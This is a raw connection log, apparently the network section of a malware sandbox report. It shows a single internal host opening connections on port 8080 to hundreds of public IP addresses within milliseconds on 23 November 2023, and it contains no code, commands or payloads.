Nov 23, 2023 05:14:48.619154930 CET	54202	8080	192.168.2.13	95.32.242.215
Nov 23, 2023 05:14:48.619154930 CET	54202	8080	192.168.2.13	62.179.13.144
Nov 23, 2023 05:14:48.619157076 CET	54202	8080	192.168.2.13	85.202.167.249
Nov 23, 2023 05:14:48.619173050 CET	54202	8080	192.168.2.13	85.86.251.155
Nov 23, 2023 05:14:48.619170904 CET	54202	8080	192.168.2.13	94.169.231.155
Nov 23, 2023 05:14:48.619170904 CET	54202	8080	192.168.2.13	62.46.141.195
Nov 23, 2023 05:14:48.619184017 CET	54202	8080	192.168.2.13	62.80.150.76
Nov 23, 2023 05:14:48.619187117 CET	54202	8080	192.168.2.13	62.225.88.158
Nov 23, 2023 05:14:48.619193077 CET	54202	8080	192.168.2.13	95.206.132.27
Nov 23, 2023 05:14:48.619193077 CET	54202	8080	192.168.2.13	85.52.130.1
Nov 23, 2023 05:14:48.619203091 CET	54202	8080	192.168.2.13	95.65.132.80
Nov 23, 2023 05:14:48.619203091 CET	54202	8080	192.168.2.13	85.78.211.1
Nov 23, 2023 05:14:48.619213104 CET	54202	8080	192.168.2.13	31.33.26.140
Nov 23, 2023 05:14:48.619215965 CET	54202	8080	192.168.2.13	31.225.8.9
Nov 23, 2023 05:14:48.619215965 CET	54202	8080	192.168.2.13	85.220.112.85
Nov 23, 2023 05:14:48.619225979 CET	54202	8080	192.168.2.13	31.153.156.96
Nov 23, 2023 05:14:48.619226933 CET	54202	8080	192.168.2.13	94.231.49.2
Nov 23, 2023 05:14:48.619226933 CET	54202	8080	192.168.2.13	94.22.123.168
Nov 23, 2023 05:14:48.619230986 CET	54202	8080	192.168.2.13	31.31.24.195
Nov 23, 2023 05:14:48.619231939 CET	54202	8080	192.168.2.13	94.15.132.228
Nov 23, 2023 05:14:48.619247913 CET	54202	8080	192.168.2.13	85.85.159.52
Nov 23, 2023 05:14:48.619247913 CET	54202	8080	192.168.2.13	94.15.20.169
Nov 23, 2023 05:14:48.619252920 CET	54202	8080	192.168.2.13	31.50.5.120
Nov 23, 2023 05:14:48.619252920 CET	54202	8080	192.168.2.13	31.127.245.174
Nov 23, 2023 05:14:48.619252920 CET	54202	8080	192.168.2.13	95.160.165.129
Nov 23, 2023 05:14:48.619252920 CET	54202	8080	192.168.2.13	31.4.238.7
Nov 23, 2023 05:14:48.619255066 CET	54202	8080	192.168.2.13	95.24.71.132
Nov 23, 2023 05:14:48.619252920 CET	54202	8080	192.168.2.13	85.84.154.179
Nov 23, 2023 05:14:48.619267941 CET	54202	8080	192.168.2.13	85.75.159.96
Nov 23, 2023 05:14:48.619270086 CET	54202	8080	192.168.2.13	31.8.185.82
Nov 23, 2023 05:14:48.619271994 CET	54202	8080	192.168.2.13	85.176.110.159
Nov 23, 2023 05:14:48.619278908 CET	54202	8080	192.168.2.13	94.58.20.161
Nov 23, 2023 05:14:48.619281054 CET	54202	8080	192.168.2.13	94.103.111.229
Nov 23, 2023 05:14:48.619290113 CET	54202	8080	192.168.2.13	95.94.174.38
Nov 23, 2023 05:14:48.619293928 CET	54202	8080	192.168.2.13	94.4.139.160
Nov 23, 2023 05:14:48.619293928 CET	54202	8080	192.168.2.13	95.15.217.13
Nov 23, 2023 05:14:48.619309902 CET	54202	8080	192.168.2.13	62.245.138.247
Nov 23, 2023 05:14:48.619311094 CET	54202	8080	192.168.2.13	85.216.5.122
Nov 23, 2023 05:14:48.619311094 CET	54202	8080	192.168.2.13	62.97.253.74
Nov 23, 2023 05:14:48.619314909 CET	54202	8080	192.168.2.13	94.105.246.190
Nov 23, 2023 05:14:48.619316101 CET	54202	8080	192.168.2.13	95.203.3.58
Nov 23, 2023 05:14:48.619316101 CET	54202	8080	192.168.2.13	94.25.167.22
Nov 23, 2023 05:14:48.619322062 CET	54202	8080	192.168.2.13	31.2.139.158
Nov 23, 2023 05:14:48.619322062 CET	54202	8080	192.168.2.13	94.248.182.3
Nov 23, 2023 05:14:48.619323015 CET	54202	8080	192.168.2.13	31.159.173.211
Nov 23, 2023 05:14:48.619337082 CET	54202	8080	192.168.2.13	85.46.148.194
Nov 23, 2023 05:14:48.619340897 CET	54202	8080	192.168.2.13	95.59.221.127
Nov 23, 2023 05:14:48.619342089 CET	54202	8080	192.168.2.13	94.163.129.141
Nov 23, 2023 05:14:48.619350910 CET	54202	8080	192.168.2.13	31.219.190.244
Nov 23, 2023 05:14:48.619350910 CET	54202	8080	192.168.2.13	62.189.214.252
Nov 23, 2023 05:14:48.619350910 CET	54202	8080	192.168.2.13	62.51.180.208
Nov 23, 2023 05:14:48.619354010 CET	54202	8080	192.168.2.13	31.174.51.233
Nov 23, 2023 05:14:48.619369030 CET	54202	8080	192.168.2.13	31.68.89.65
Nov 23, 2023 05:14:48.619369030 CET	54202	8080	192.168.2.13	94.180.166.161
Nov 23, 2023 05:14:48.619371891 CET	54202	8080	192.168.2.13	95.79.116.195
Nov 23, 2023 05:14:48.619371891 CET	54202	8080	192.168.2.13	95.210.144.1
Nov 23, 2023 05:14:48.619388103 CET	54202	8080	192.168.2.13	94.148.201.21
Nov 23, 2023 05:14:48.619390965 CET	54202	8080	192.168.2.13	31.192.5.18
Nov 23, 2023 05:14:48.619390965 CET	54202	8080	192.168.2.13	95.108.127.128
Nov 23, 2023 05:14:48.619390965 CET	54202	8080	192.168.2.13	94.178.222.26
Nov 23, 2023 05:14:48.619398117 CET	54202	8080	192.168.2.13	85.103.1.17
Nov 23, 2023 05:14:48.619398117 CET	54202	8080	192.168.2.13	95.208.165.32
Nov 23, 2023 05:14:48.619398117 CET	54202	8080	192.168.2.13	62.7.102.86
Nov 23, 2023 05:14:48.619414091 CET	54202	8080	192.168.2.13	94.2.214.223
Nov 23, 2023 05:14:48.619415998 CET	54202	8080	192.168.2.13	95.124.11.23
Nov 23, 2023 05:14:48.619420052 CET	54202	8080	192.168.2.13	31.175.80.198
Nov 23, 2023 05:14:48.619426966 CET	54202	8080	192.168.2.13	31.156.27.212
Nov 23, 2023 05:14:48.619429111 CET	54202	8080	192.168.2.13	95.221.79.160
Nov 23, 2023 05:14:48.619431973 CET	54202	8080	192.168.2.13	62.102.74.153
Nov 23, 2023 05:14:48.619436979 CET	54202	8080	192.168.2.13	31.106.99.126
Nov 23, 2023 05:14:48.619457960 CET	54202	8080	192.168.2.13	94.133.25.135
Nov 23, 2023 05:14:48.619457960 CET	54202	8080	192.168.2.13	95.211.233.157
Nov 23, 2023 05:14:48.619457960 CET	54202	8080	192.168.2.13	95.241.128.40
Nov 23, 2023 05:14:48.619457960 CET	54202	8080	192.168.2.13	95.106.220.46
Nov 23, 2023 05:14:48.619462967 CET	54202	8080	192.168.2.13	94.158.228.52
Nov 23, 2023 05:14:48.619468927 CET	54202	8080	192.168.2.13	94.116.187.246
Nov 23, 2023 05:14:48.619481087 CET	54202	8080	192.168.2.13	95.83.120.237
Nov 23, 2023 05:14:48.619482994 CET	54202	8080	192.168.2.13	31.70.88.47
Nov 23, 2023 05:14:48.619482994 CET	54202	8080	192.168.2.13	95.190.43.199
Nov 23, 2023 05:14:48.619483948 CET	54202	8080	192.168.2.13	62.144.130.167
Nov 23, 2023 05:14:48.619483948 CET	54202	8080	192.168.2.13	95.82.183.233
Nov 23, 2023 05:14:48.619483948 CET	54202	8080	192.168.2.13	62.57.169.97
Nov 23, 2023 05:14:48.619489908 CET	54202	8080	192.168.2.13	85.125.50.100
Nov 23, 2023 05:14:48.619492054 CET	54202	8080	192.168.2.13	95.118.176.97
Nov 23, 2023 05:14:48.619503975 CET	54202	8080	192.168.2.13	31.161.182.217
Nov 23, 2023 05:14:48.619508028 CET	54202	8080	192.168.2.13	95.57.10.124
Nov 23, 2023 05:14:48.619508982 CET	54202	8080	192.168.2.13	85.224.201.190
Nov 23, 2023 05:14:48.619513988 CET	54202	8080	192.168.2.13	95.174.229.11
Nov 23, 2023 05:14:48.619519949 CET	54202	8080	192.168.2.13	62.114.124.246
Nov 23, 2023 05:14:48.619525909 CET	54202	8080	192.168.2.13	85.115.159.198
Nov 23, 2023 05:14:48.619529009 CET	54202	8080	192.168.2.13	31.57.65.236
Nov 23, 2023 05:14:48.619529009 CET	54202	8080	192.168.2.13	95.109.158.85
Nov 23, 2023 05:14:48.619544983 CET	54202	8080	192.168.2.13	85.43.130.177
Nov 23, 2023 05:14:48.619544983 CET	54202	8080	192.168.2.13	31.71.58.148
Nov 23, 2023 05:14:48.619545937 CET	54202	8080	192.168.2.13	94.40.1.76
Nov 23, 2023 05:14:48.619549036 CET	54202	8080	192.168.2.13	62.133.130.119
Nov 23, 2023 05:14:48.619568110 CET	54202	8080	192.168.2.13	85.33.124.16
Nov 23, 2023 05:14:48.619570971 CET	54202	8080	192.168.2.13	85.231.190.127
Nov 23, 2023 05:14:48.619571924 CET	54202	8080	192.168.2.13	31.70.131.112
Nov 23, 2023 05:14:48.619571924 CET	54202	8080	192.168.2.13	94.52.156.18
Nov 23, 2023 05:14:48.619577885 CET	54202	8080	192.168.2.13	31.187.210.164
Nov 23, 2023 05:14:48.619591951 CET	54202	8080	192.168.2.13	85.224.65.66
Nov 23, 2023 05:14:48.619595051 CET	54202	8080	192.168.2.13	62.58.143.226
Nov 23, 2023 05:14:48.619599104 CET	54202	8080	192.168.2.13	62.43.207.162
Nov 23, 2023 05:14:48.619599104 CET	54202	8080	192.168.2.13	85.230.54.34
Nov 23, 2023 05:14:48.619599104 CET	54202	8080	192.168.2.13	31.253.44.115
Nov 23, 2023 05:14:48.619599104 CET	54202	8080	192.168.2.13	95.39.59.94
Nov 23, 2023 05:14:48.619601011 CET	54202	8080	192.168.2.13	62.80.70.193
Nov 23, 2023 05:14:48.619601965 CET	54202	8080	192.168.2.13	62.184.214.236
Nov 23, 2023 05:14:48.619607925 CET	54202	8080	192.168.2.13	95.73.90.235
Nov 23, 2023 05:14:48.619623899 CET	54202	8080	192.168.2.13	95.61.209.189
Nov 23, 2023 05:14:48.619626999 CET	54202	8080	192.168.2.13	95.113.250.194
Nov 23, 2023 05:14:48.619626999 CET	54202	8080	192.168.2.13	85.13.85.186
Nov 23, 2023 05:14:48.619626999 CET	54202	8080	192.168.2.13	85.114.1.239
Nov 23, 2023 05:14:48.619646072 CET	54202	8080	192.168.2.13	94.209.160.197
Nov 23, 2023 05:14:48.619646072 CET	54202	8080	192.168.2.13	62.203.217.152
Nov 23, 2023 05:14:48.619646072 CET	54202	8080	192.168.2.13	94.1.156.29
Nov 23, 2023 05:14:48.619653940 CET	54202	8080	192.168.2.13	31.120.144.129
Nov 23, 2023 05:14:48.619663954 CET	54202	8080	192.168.2.13	62.142.59.115
Nov 23, 2023 05:14:48.619663954 CET	54202	8080	192.168.2.13	95.165.173.127
Nov 23, 2023 05:14:48.619666100 CET	54202	8080	192.168.2.13	94.51.137.25
Nov 23, 2023 05:14:48.619666100 CET	54202	8080	192.168.2.13	95.1.101.36
Nov 23, 2023 05:14:48.619676113 CET	54202	8080	192.168.2.13	94.52.191.217
Nov 23, 2023 05:14:48.619685888 CET	54202	8080	192.168.2.13	94.81.79.12
Nov 23, 2023 05:14:48.619688034 CET	54202	8080	192.168.2.13	94.115.137.208
Nov 23, 2023 05:14:48.619688034 CET	54202	8080	192.168.2.13	31.88.7.210
Nov 23, 2023 05:14:48.619699001 CET	54202	8080	192.168.2.13	31.59.152.60
Nov 23, 2023 05:14:48.619703054 CET	54202	8080	192.168.2.13	31.107.59.104
Nov 23, 2023 05:14:48.619703054 CET	54202	8080	192.168.2.13	95.28.210.131
Nov 23, 2023 05:14:48.619704008 CET	54202	8080	192.168.2.13	85.141.175.194
Nov 23, 2023 05:14:48.619704008 CET	54202	8080	192.168.2.13	31.253.74.188
Nov 23, 2023 05:14:48.619703054 CET	54202	8080	192.168.2.13	31.45.28.137
Nov 23, 2023 05:14:48.619704008 CET	54202	8080	192.168.2.13	94.32.216.110
Nov 23, 2023 05:14:48.619704008 CET	54202	8080	192.168.2.13	85.84.189.182
Nov 23, 2023 05:14:48.619704008 CET	54202	8080	192.168.2.13	85.57.177.235
Nov 23, 2023 05:14:48.619714022 CET	54202	8080	192.168.2.13	95.246.148.118
Nov 23, 2023 05:14:48.619714022 CET	54202	8080	192.168.2.13	94.247.98.213
Nov 23, 2023 05:14:48.619729996 CET	54202	8080	192.168.2.13	85.183.56.84
Nov 23, 2023 05:14:48.619729996 CET	54202	8080	192.168.2.13	62.220.84.71
Nov 23, 2023 05:14:48.619730949 CET	54202	8080	192.168.2.13	94.104.18.75
Nov 23, 2023 05:14:48.619730949 CET	54202	8080	192.168.2.13	62.232.139.55
Nov 23, 2023 05:14:48.619730949 CET	54202	8080	192.168.2.13	95.13.101.253
Nov 23, 2023 05:14:48.619736910 CET	54202	8080	192.168.2.13	31.214.19.120
Nov 23, 2023 05:14:48.619752884 CET	54202	8080	192.168.2.13	62.130.69.29
Nov 23, 2023 05:14:48.619755030 CET	54202	8080	192.168.2.13	85.61.23.172
Nov 23, 2023 05:14:48.619761944 CET	54202	8080	192.168.2.13	95.250.78.129
Nov 23, 2023 05:14:48.619761944 CET	54202	8080	192.168.2.13	94.159.32.75
Nov 23, 2023 05:14:48.619761944 CET	54202	8080	192.168.2.13	94.154.176.29
Nov 23, 2023 05:14:48.619761944 CET	54202	8080	192.168.2.13	95.141.232.130
Nov 23, 2023 05:14:48.619761944 CET	54202	8080	192.168.2.13	94.186.235.52
Nov 23, 2023 05:14:48.619777918 CET	54202	8080	192.168.2.13	31.171.75.110
Nov 23, 2023 05:14:48.619784117 CET	54202	8080	192.168.2.13	85.148.38.247
Nov 23, 2023 05:14:48.619784117 CET	54202	8080	192.168.2.13	95.107.73.242
Nov 23, 2023 05:14:48.619784117 CET	54202	8080	192.168.2.13	31.169.220.89
Nov 23, 2023 05:14:48.619790077 CET	54202	8080	192.168.2.13	62.172.52.46
Nov 23, 2023 05:14:48.619793892 CET	54202	8080	192.168.2.13	95.55.78.77
Nov 23, 2023 05:14:48.619796991 CET	54202	8080	192.168.2.13	62.66.18.53
Nov 23, 2023 05:14:48.619802952 CET	54202	8080	192.168.2.13	62.28.4.111
Nov 23, 2023 05:14:48.619803905 CET	54202	8080	192.168.2.13	95.230.198.136
Nov 23, 2023 05:14:48.619812012 CET	54202	8080	192.168.2.13	85.37.176.213
Nov 23, 2023 05:14:48.619833946 CET	54202	8080	192.168.2.13	95.7.236.102
Nov 23, 2023 05:14:48.619833946 CET	54202	8080	192.168.2.13	62.137.40.74
Nov 23, 2023 05:14:48.619834900 CET	54202	8080	192.168.2.13	62.152.58.86
Nov 23, 2023 05:14:48.619834900 CET	54202	8080	192.168.2.13	94.149.107.102
Nov 23, 2023 05:14:48.619836092 CET	54202	8080	192.168.2.13	85.214.71.85
Nov 23, 2023 05:14:48.619834900 CET	54202	8080	192.168.2.13	95.157.39.123
Nov 23, 2023 05:14:48.619848013 CET	54202	8080	192.168.2.13	94.17.148.154
Nov 23, 2023 05:14:48.619853973 CET	54202	8080	192.168.2.13	94.207.59.221
Nov 23, 2023 05:14:48.619853973 CET	54202	8080	192.168.2.13	62.19.58.0
Nov 23, 2023 05:14:48.619854927 CET	54202	8080	192.168.2.13	94.102.126.15
Nov 23, 2023 05:14:48.619862080 CET	54202	8080	192.168.2.13	85.225.92.60
Nov 23, 2023 05:14:48.619878054 CET	54202	8080	192.168.2.13	62.70.108.61
Nov 23, 2023 05:14:48.619879007 CET	54202	8080	192.168.2.13	94.223.54.118
Nov 23, 2023 05:14:48.619879007 CET	54202	8080	192.168.2.13	31.124.119.190
Nov 23, 2023 05:14:48.619882107 CET	54202	8080	192.168.2.13	31.126.142.106
Nov 23, 2023 05:14:48.619887114 CET	54202	8080	192.168.2.13	95.71.45.221
Nov 23, 2023 05:14:48.619894028 CET	54202	8080	192.168.2.13	85.20.119.125
Nov 23, 2023 05:14:48.619900942 CET	54202	8080	192.168.2.13	94.80.35.33
Nov 23, 2023 05:14:48.619905949 CET	54202	8080	192.168.2.13	31.99.149.241
Nov 23, 2023 05:14:48.619916916 CET	54202	8080	192.168.2.13	95.180.175.132
Nov 23, 2023 05:14:48.619916916 CET	54202	8080	192.168.2.13	62.88.244.69
Nov 23, 2023 05:14:48.619918108 CET	54202	8080	192.168.2.13	94.139.66.43
Nov 23, 2023 05:14:48.619918108 CET	54202	8080	192.168.2.13	31.95.88.185
Nov 23, 2023 05:14:48.619937897 CET	54202	8080	192.168.2.13	31.57.176.237
Nov 23, 2023 05:14:48.619937897 CET	54202	8080	192.168.2.13	85.237.151.163
Nov 23, 2023 05:14:48.619940042 CET	54202	8080	192.168.2.13	31.137.144.207
Nov 23, 2023 05:14:48.619944096 CET	54202	8080	192.168.2.13	31.18.130.170
Nov 23, 2023 05:14:48.619944096 CET	54202	8080	192.168.2.13	31.39.95.64
Nov 23, 2023 05:14:48.619952917 CET	54202	8080	192.168.2.13	95.122.205.40
Nov 23, 2023 05:14:48.619971991 CET	54202	8080	192.168.2.13	85.24.77.64
Nov 23, 2023 05:14:48.619975090 CET	54202	8080	192.168.2.13	95.39.241.153
Nov 23, 2023 05:14:48.619975090 CET	54202	8080	192.168.2.13	85.40.13.81
Nov 23, 2023 05:14:48.619986057 CET	54202	8080	192.168.2.13	95.230.94.234
Nov 23, 2023 05:14:48.619997025 CET	54202	8080	192.168.2.13	94.84.177.59
Nov 23, 2023 05:14:48.620001078 CET	54202	8080	192.168.2.13	94.193.33.122
Nov 23, 2023 05:14:48.620001078 CET	54202	8080	192.168.2.13	31.219.227.156
Nov 23, 2023 05:14:48.620012045 CET	54202	8080	192.168.2.13	95.34.41.11
Nov 23, 2023 05:14:48.620012999 CET	54202	8080	192.168.2.13	94.23.80.105
Nov 23, 2023 05:14:48.620014906 CET	54202	8080	192.168.2.13	85.198.102.4
Nov 23, 2023 05:14:48.620014906 CET	54202	8080	192.168.2.13	31.109.253.76
Nov 23, 2023 05:14:48.620028019 CET	54202	8080	192.168.2.13	31.116.44.77
Nov 23, 2023 05:14:48.620048046 CET	54202	8080	192.168.2.13	62.210.30.7
Nov 23, 2023 05:14:48.620058060 CET	54202	8080	192.168.2.13	95.91.23.96
Nov 23, 2023 05:14:48.620060921 CET	54202	8080	192.168.2.13	94.185.251.239
Nov 23, 2023 05:14:48.620060921 CET	54202	8080	192.168.2.13	94.14.88.161
Nov 23, 2023 05:14:48.620073080 CET	54202	8080	192.168.2.13	94.199.202.107
Nov 23, 2023 05:14:48.620073080 CET	54202	8080	192.168.2.13	94.97.104.104
Nov 23, 2023 05:14:48.620074034 CET	54202	8080	192.168.2.13	94.49.25.91
Nov 23, 2023 05:14:48.620074034 CET	54202	8080	192.168.2.13	95.152.129.95
Nov 23, 2023 05:14:48.620078087 CET	54202	8080	192.168.2.13	94.30.110.33
Nov 23, 2023 05:14:48.620089054 CET	54202	8080	192.168.2.13	94.246.238.41
Nov 23, 2023 05:14:48.620091915 CET	54202	8080	192.168.2.13	31.44.116.135
Nov 23, 2023 05:14:48.620095015 CET	54202	8080	192.168.2.13	85.123.141.197
Nov 23, 2023 05:14:48.620100021 CET	54202	8080	192.168.2.13	95.19.154.43
Nov 23, 2023 05:14:48.620115042 CET	54202	8080	192.168.2.13	31.41.134.183
Nov 23, 2023 05:14:48.620115995 CET	54202	8080	192.168.2.13	62.218.162.105
Nov 23, 2023 05:14:48.620120049 CET	54202	8080	192.168.2.13	94.208.6.179
Nov 23, 2023 05:14:48.620131969 CET	54202	8080	192.168.2.13	95.122.244.198
Nov 23, 2023 05:14:48.620136976 CET	54202	8080	192.168.2.13	94.187.144.237
Nov 23, 2023 05:14:48.620145082 CET	54202	8080	192.168.2.13	94.196.149.104
Nov 23, 2023 05:14:48.620157003 CET	54202	8080	192.168.2.13	85.68.190.226
Nov 23, 2023 05:14:48.620158911 CET	54202	8080	192.168.2.13	62.89.124.51
Nov 23, 2023 05:14:48.620158911 CET	54202	8080	192.168.2.13	85.68.15.217
Nov 23, 2023 05:14:48.620158911 CET	54202	8080	192.168.2.13	31.250.111.244
Nov 23, 2023 05:14:48.620174885 CET	54202	8080	192.168.2.13	94.53.177.74
Nov 23, 2023 05:14:48.620176077 CET	54202	8080	192.168.2.13	31.236.117.192
Nov 23, 2023 05:14:48.620177984 CET	54202	8080	192.168.2.13	95.133.150.185
Nov 23, 2023 05:14:48.620177984 CET	54202	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:48.620182991 CET	54202	8080	192.168.2.13	94.77.20.179
Nov 23, 2023 05:14:48.620188951 CET	54202	8080	192.168.2.13	85.56.198.247
Nov 23, 2023 05:14:48.620193005 CET	54202	8080	192.168.2.13	95.191.119.63
Nov 23, 2023 05:14:48.620198011 CET	54202	8080	192.168.2.13	85.111.36.27
Nov 23, 2023 05:14:48.620213032 CET	54202	8080	192.168.2.13	85.23.181.126
Nov 23, 2023 05:14:48.620222092 CET	54202	8080	192.168.2.13	85.156.89.95
Nov 23, 2023 05:14:48.620229959 CET	54202	8080	192.168.2.13	94.37.149.97
Nov 23, 2023 05:14:48.620229959 CET	54202	8080	192.168.2.13	31.64.175.214
Nov 23, 2023 05:14:48.620239973 CET	54202	8080	192.168.2.13	95.98.91.73
Nov 23, 2023 05:14:48.620239973 CET	54202	8080	192.168.2.13	31.147.164.61
Nov 23, 2023 05:14:48.620240927 CET	54202	8080	192.168.2.13	94.217.97.153
Nov 23, 2023 05:14:48.620239973 CET	54202	8080	192.168.2.13	94.216.63.33
Nov 23, 2023 05:14:48.620248079 CET	54202	8080	192.168.2.13	31.84.47.30
Nov 23, 2023 05:14:48.620250940 CET	54202	8080	192.168.2.13	31.251.217.8
Nov 23, 2023 05:14:48.620263100 CET	54202	8080	192.168.2.13	94.163.171.21
Nov 23, 2023 05:14:48.620269060 CET	54202	8080	192.168.2.13	31.227.80.170
Nov 23, 2023 05:14:48.620269060 CET	54202	8080	192.168.2.13	95.153.71.46
Nov 23, 2023 05:14:48.620270967 CET	54202	8080	192.168.2.13	31.172.76.36
Nov 23, 2023 05:14:48.620287895 CET	54202	8080	192.168.2.13	62.232.233.52
Nov 23, 2023 05:14:48.620289087 CET	54202	8080	192.168.2.13	62.214.88.211
Nov 23, 2023 05:14:48.620296955 CET	54202	8080	192.168.2.13	94.20.233.12
Nov 23, 2023 05:14:48.620296955 CET	54202	8080	192.168.2.13	94.242.123.227
Nov 23, 2023 05:14:48.620296955 CET	54202	8080	192.168.2.13	62.119.136.175
Nov 23, 2023 05:14:48.620296955 CET	54202	8080	192.168.2.13	31.69.27.149
Nov 23, 2023 05:14:48.620313883 CET	54202	8080	192.168.2.13	31.241.121.111
Nov 23, 2023 05:14:48.620318890 CET	54202	8080	192.168.2.13	85.240.55.192
Nov 23, 2023 05:14:48.620321035 CET	54202	8080	192.168.2.13	85.184.100.88
Nov 23, 2023 05:14:48.620321035 CET	54202	8080	192.168.2.13	62.170.117.198
Nov 23, 2023 05:14:48.620321035 CET	54202	8080	192.168.2.13	95.205.197.214
Nov 23, 2023 05:14:48.620322943 CET	54202	8080	192.168.2.13	31.91.95.252
Nov 23, 2023 05:14:48.620326042 CET	54202	8080	192.168.2.13	85.73.116.228
Nov 23, 2023 05:14:48.620326996 CET	54202	8080	192.168.2.13	95.216.190.127
Nov 23, 2023 05:14:48.620330095 CET	54202	8080	192.168.2.13	31.153.53.208
Nov 23, 2023 05:14:48.620341063 CET	54202	8080	192.168.2.13	62.21.63.176
Nov 23, 2023 05:14:48.620346069 CET	54202	8080	192.168.2.13	95.5.87.224
Nov 23, 2023 05:14:48.620349884 CET	54202	8080	192.168.2.13	31.94.178.180
Nov 23, 2023 05:14:48.620349884 CET	54202	8080	192.168.2.13	94.242.148.163
Nov 23, 2023 05:14:48.620367050 CET	54202	8080	192.168.2.13	31.38.172.216
Nov 23, 2023 05:14:48.620367050 CET	54202	8080	192.168.2.13	85.249.63.10
Nov 23, 2023 05:14:48.620374918 CET	54202	8080	192.168.2.13	85.240.58.10
Nov 23, 2023 05:14:48.620383978 CET	54202	8080	192.168.2.13	94.28.233.189
Nov 23, 2023 05:14:48.620388985 CET	54202	8080	192.168.2.13	31.27.202.176
Nov 23, 2023 05:14:48.620388985 CET	54202	8080	192.168.2.13	95.209.197.98
Nov 23, 2023 05:14:48.620399952 CET	54202	8080	192.168.2.13	31.213.248.176
Nov 23, 2023 05:14:48.620399952 CET	54202	8080	192.168.2.13	62.207.61.152
Nov 23, 2023 05:14:48.620404005 CET	54202	8080	192.168.2.13	94.109.164.205
Nov 23, 2023 05:14:48.620404959 CET	54202	8080	192.168.2.13	85.58.117.153
Nov 23, 2023 05:14:48.620404959 CET	54202	8080	192.168.2.13	85.12.53.229
Nov 23, 2023 05:14:48.620425940 CET	54202	8080	192.168.2.13	85.138.200.43
Nov 23, 2023 05:14:48.620425940 CET	54202	8080	192.168.2.13	95.191.183.247
Nov 23, 2023 05:14:48.620428085 CET	54202	8080	192.168.2.13	31.101.87.134
Nov 23, 2023 05:14:48.620450020 CET	54202	8080	192.168.2.13	85.245.22.32
Nov 23, 2023 05:14:48.620450020 CET	54202	8080	192.168.2.13	85.47.232.193
Nov 23, 2023 05:14:48.620450020 CET	54202	8080	192.168.2.13	85.81.96.37
Nov 23, 2023 05:14:48.620450020 CET	54202	8080	192.168.2.13	94.229.231.143
Nov 23, 2023 05:14:48.620460987 CET	54202	8080	192.168.2.13	94.113.45.34
Nov 23, 2023 05:14:48.620467901 CET	54202	8080	192.168.2.13	31.16.250.21
Nov 23, 2023 05:14:48.620474100 CET	54202	8080	192.168.2.13	62.62.30.251
Nov 23, 2023 05:14:48.620474100 CET	54202	8080	192.168.2.13	31.253.137.75
Nov 23, 2023 05:14:48.620487928 CET	54202	8080	192.168.2.13	85.238.125.115
Nov 23, 2023 05:14:48.620496988 CET	54202	8080	192.168.2.13	95.236.95.245
Nov 23, 2023 05:14:48.620498896 CET	54202	8080	192.168.2.13	95.186.31.124
Nov 23, 2023 05:14:48.620498896 CET	54202	8080	192.168.2.13	62.249.109.104
Nov 23, 2023 05:14:48.620498896 CET	54202	8080	192.168.2.13	62.5.56.155
Nov 23, 2023 05:14:48.620512962 CET	54202	8080	192.168.2.13	85.142.56.13
Nov 23, 2023 05:14:48.620517969 CET	54202	8080	192.168.2.13	62.55.87.84
Nov 23, 2023 05:14:48.620517969 CET	54202	8080	192.168.2.13	94.105.12.33
Nov 23, 2023 05:14:48.620531082 CET	54202	8080	192.168.2.13	94.117.146.138
Nov 23, 2023 05:14:48.620537043 CET	54202	8080	192.168.2.13	31.228.99.121
Nov 23, 2023 05:14:48.620559931 CET	54202	8080	192.168.2.13	94.180.245.30
Nov 23, 2023 05:14:48.620559931 CET	54202	8080	192.168.2.13	85.116.182.227
Nov 23, 2023 05:14:48.620559931 CET	54202	8080	192.168.2.13	31.143.228.244
Nov 23, 2023 05:14:48.620560884 CET	54202	8080	192.168.2.13	94.35.36.202
Nov 23, 2023 05:14:48.620560884 CET	54202	8080	192.168.2.13	62.207.173.31
Nov 23, 2023 05:14:48.620560884 CET	54202	8080	192.168.2.13	85.84.118.190
Nov 23, 2023 05:14:48.620564938 CET	54202	8080	192.168.2.13	62.204.48.38
Nov 23, 2023 05:14:48.620564938 CET	54202	8080	192.168.2.13	95.174.194.171
Nov 23, 2023 05:14:48.620564938 CET	54202	8080	192.168.2.13	31.54.4.109
Nov 23, 2023 05:14:48.620588064 CET	54202	8080	192.168.2.13	62.2.113.13
Nov 23, 2023 05:14:48.620589018 CET	54202	8080	192.168.2.13	94.115.85.244
Nov 23, 2023 05:14:48.620603085 CET	54202	8080	192.168.2.13	85.105.20.102
Nov 23, 2023 05:14:48.620603085 CET	54202	8080	192.168.2.13	62.246.189.139
Nov 23, 2023 05:14:48.620624065 CET	54202	8080	192.168.2.13	62.179.71.186
Nov 23, 2023 05:14:48.620626926 CET	54202	8080	192.168.2.13	31.65.138.149
Nov 23, 2023 05:14:48.620650053 CET	54202	8080	192.168.2.13	94.72.173.129
Nov 23, 2023 05:14:48.620651960 CET	54202	8080	192.168.2.13	62.26.100.41
Nov 23, 2023 05:14:48.620651960 CET	54202	8080	192.168.2.13	62.90.37.135
Nov 23, 2023 05:14:48.620651960 CET	54202	8080	192.168.2.13	95.7.158.156
Nov 23, 2023 05:14:48.620651960 CET	54202	8080	192.168.2.13	95.216.245.131
Nov 23, 2023 05:14:48.620651960 CET	54202	8080	192.168.2.13	85.170.230.127
Nov 23, 2023 05:14:48.620657921 CET	54202	8080	192.168.2.13	62.96.69.178
Nov 23, 2023 05:14:48.620666027 CET	54202	8080	192.168.2.13	62.19.222.47
Nov 23, 2023 05:14:48.620666981 CET	54202	8080	192.168.2.13	85.220.228.210
Nov 23, 2023 05:14:48.620675087 CET	54202	8080	192.168.2.13	31.219.250.89
Nov 23, 2023 05:14:48.620681047 CET	54202	8080	192.168.2.13	62.57.229.58
Nov 23, 2023 05:14:48.620701075 CET	54202	8080	192.168.2.13	85.219.77.255
Nov 23, 2023 05:14:48.620701075 CET	54202	8080	192.168.2.13	94.6.154.24
Nov 23, 2023 05:14:48.620702028 CET	54202	8080	192.168.2.13	94.32.248.159
Nov 23, 2023 05:14:48.620702028 CET	54202	8080	192.168.2.13	85.5.165.76
Nov 23, 2023 05:14:48.620702982 CET	54202	8080	192.168.2.13	62.117.104.82
Nov 23, 2023 05:14:48.620702982 CET	54202	8080	192.168.2.13	31.215.121.169
Nov 23, 2023 05:14:48.620708942 CET	54202	8080	192.168.2.13	62.145.232.248
Nov 23, 2023 05:14:48.620713949 CET	54202	8080	192.168.2.13	31.78.225.146
Nov 23, 2023 05:14:48.620722055 CET	54202	8080	192.168.2.13	62.88.95.230
Nov 23, 2023 05:14:48.620728970 CET	54202	8080	192.168.2.13	31.121.188.25
